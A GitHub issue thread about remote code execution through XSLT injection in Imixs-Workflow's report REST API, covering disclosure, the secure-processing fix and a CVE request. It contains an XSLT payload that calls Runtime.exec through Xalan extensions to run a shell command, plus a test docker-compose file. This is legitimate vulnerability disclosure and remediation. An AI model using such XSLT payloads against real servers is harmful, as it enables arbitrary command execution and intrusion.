The vulnerability in Imixs-Workflow is caused by RCE (Remote Code Execution) via XSLT. #852
Comments
|
@rsoika If you confirm this vulnerability, can you assign a CVE for me? Assigning a CVE is an encouragement for my exploration of the risks in the Imixs project. |
|
Related to: CVE-2017-7465 |
|
Hi @c1gar , thanks for the finding. I'm not yet fully aware of how serious this vulnerability affects the Imixs Workflow engine. Imixs-Workflow itself does not include any XSLT Processor library. The XSLT implementation is always provided form the environment the engine runs in (the Jakarta EE Server environment). So my question is: Which Jakarta EE App Server did you use? And also which version of Imixs-Worklfow - or sub project - did you use to reproduce the issue? |
|
Hello @rsoika , I launched an instance of imixs-process-manager using the following docker-compose.yml file In this container, the version of imixs-workflow is 6.0.3, and the version of Java EE is OpenJDK 11.0.17 The project documentation for imixs-workflow (https://www.imixs.org/doc/restapi/reportservice.html) has already introduced that the api I can carry out arbitrary code injection attacks through these two apis, which can execute arbitrary system commands on servers that have deployed imixs-workflow and exposed the api '/report' to the outside . This is a very serious vulnerability. I have already reproduced this issue and provided detailed steps for reproduction: #852 (comment) . The imixs-workflow does not indeed include XSL implementation, but the cause of this vulnerability is that imixs-workflow does not consider security when using the XSL implementation which in Java EE. Simply put, the following code is needed to avoid vulnerabilities: |
|
@c1gar thanks again for your finding and the clearification. We will fix this now in different places within the Imixs-Workflow engine by setting the feature As you already mentioned this will set limits on XML constructs to avoid conditions such as denial of service attacks. Example code: TransformerFactory transformerFactory = TransformerFactory.newInstance();
// Set secure process - see #852
transformerFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
Transformer transformer = transformerFactory.newTransformer(.....); |
|
@rsoika Can you assign a CVE number to this issue? |
|
@c1gar I am still not able to reproduce the issue (maybe I am not the professional hacker ;-) This is how I am trying to reproduce the issue: 1) Start an Instance of Imixs-Process MangerI am using the following docker-compose.yaml: version: "3.6"
services:
imixs-db:
image: postgres:9.6.1
environment:
POSTGRES_PASSWORD: adminadmin
POSTGRES_DB: workflow-db
volumes:
- dbdata:/var/lib/postgresql/data
imixs-app:
image: imixs/imixs-process-manager:2.0.1
environment:
TZ: "CET"
LANG: "en_US.UTF-8"
JAVA_OPTS: "-Dnashorn.args=--no-deprecation-warning"
POSTGRES_USER: "postgres"
POSTGRES_PASSWORD: "adminadmin"
POSTGRES_CONNECTION: "jdbc:postgresql://imixs-db/workflow-db"
ports:
- "8080:8080"
- "8787:8787"
- "9990:9990"
volumes:
dbdata: 2) Test Rest APIJust to test the rest api with a simple curl command: should return an empty list 3) Post a insecure Report Definition with a XSL TemplateThe XSLT I am using for test is: <xml:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xsl.apachе.org/xalan/java/javax.xml.transform"
xmlns:ob="http://xsl.apachе.org/xalan/java/org.apache.xalan.lib.Redirect"
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:ciagrr="http://xsl.apachе.org/xalan/java/javax.xml.transform"
xmlns:ob="http://xsl.apachе.org/xalan/java/org.apache.xalan.lib.Object"
getRuntime="true"
ob="http://xsl.apachе.org/xalan/java/org.apache.xalan.lib.Object">
<xsl:template match="/" select="rt:getRuntime()"/>
<xsl:variable name="rtobj" select="rt:exec($rtobj,'touch /opt/jboss/wildfly/insecure-code')"/>
<xsl:variable name="processString" select="ob:toString($processString)"/>
<xsl:value-of select="$processString"/>
</xml:stylesheet>This simply makes a touch on the file I post the report definition with the following curl command: As a result we have a report definition named 4) Execute the insecure reportFinally we want to execute the insecure report with But nothing seems to happen. No file is touched. |
|
@rsoika There are some errors in your xsl file. You can use the following xsl file for testing: The following is the process of reproduce using the The generated report is as follows 
The file |
|
Ah OK, now I was able to reproduce. |
|
Hi @c1gar , I would now close this issue, it is fixed with version 6.0.5. Do you want to report the vulnerability issue somewhere else? |
|
@rsoika Yes, I am currently applying for a CVE number for this vulnerability. If possible, I would appreciate it if you could wait to close it until after the application is either approved or denied, as I have provided the page as a reference link to the official authorities. |
|
We need to close this issue as we prepare the next release now. |
|
@rsoika I have applied for a CVE number for this. Would you mind disclosing it? The CVE number is CVE-2024-29335 |
|
Hi @c1gar , where do I find this? |
Vulnerability Cause: During XSLT transformation, the content of the XSL is controllable, and security parameters are not set.
Vulnerability Location:org.imixs.workflow.jaxrs.ReportRestService
Steps to reproduce the behavior:
1. Generate a specific report and inject malicious XSLT code into it.
2. Output the XSL result of the report.
Screenshot of the result
The text was updated successfully, but these errors were encountered: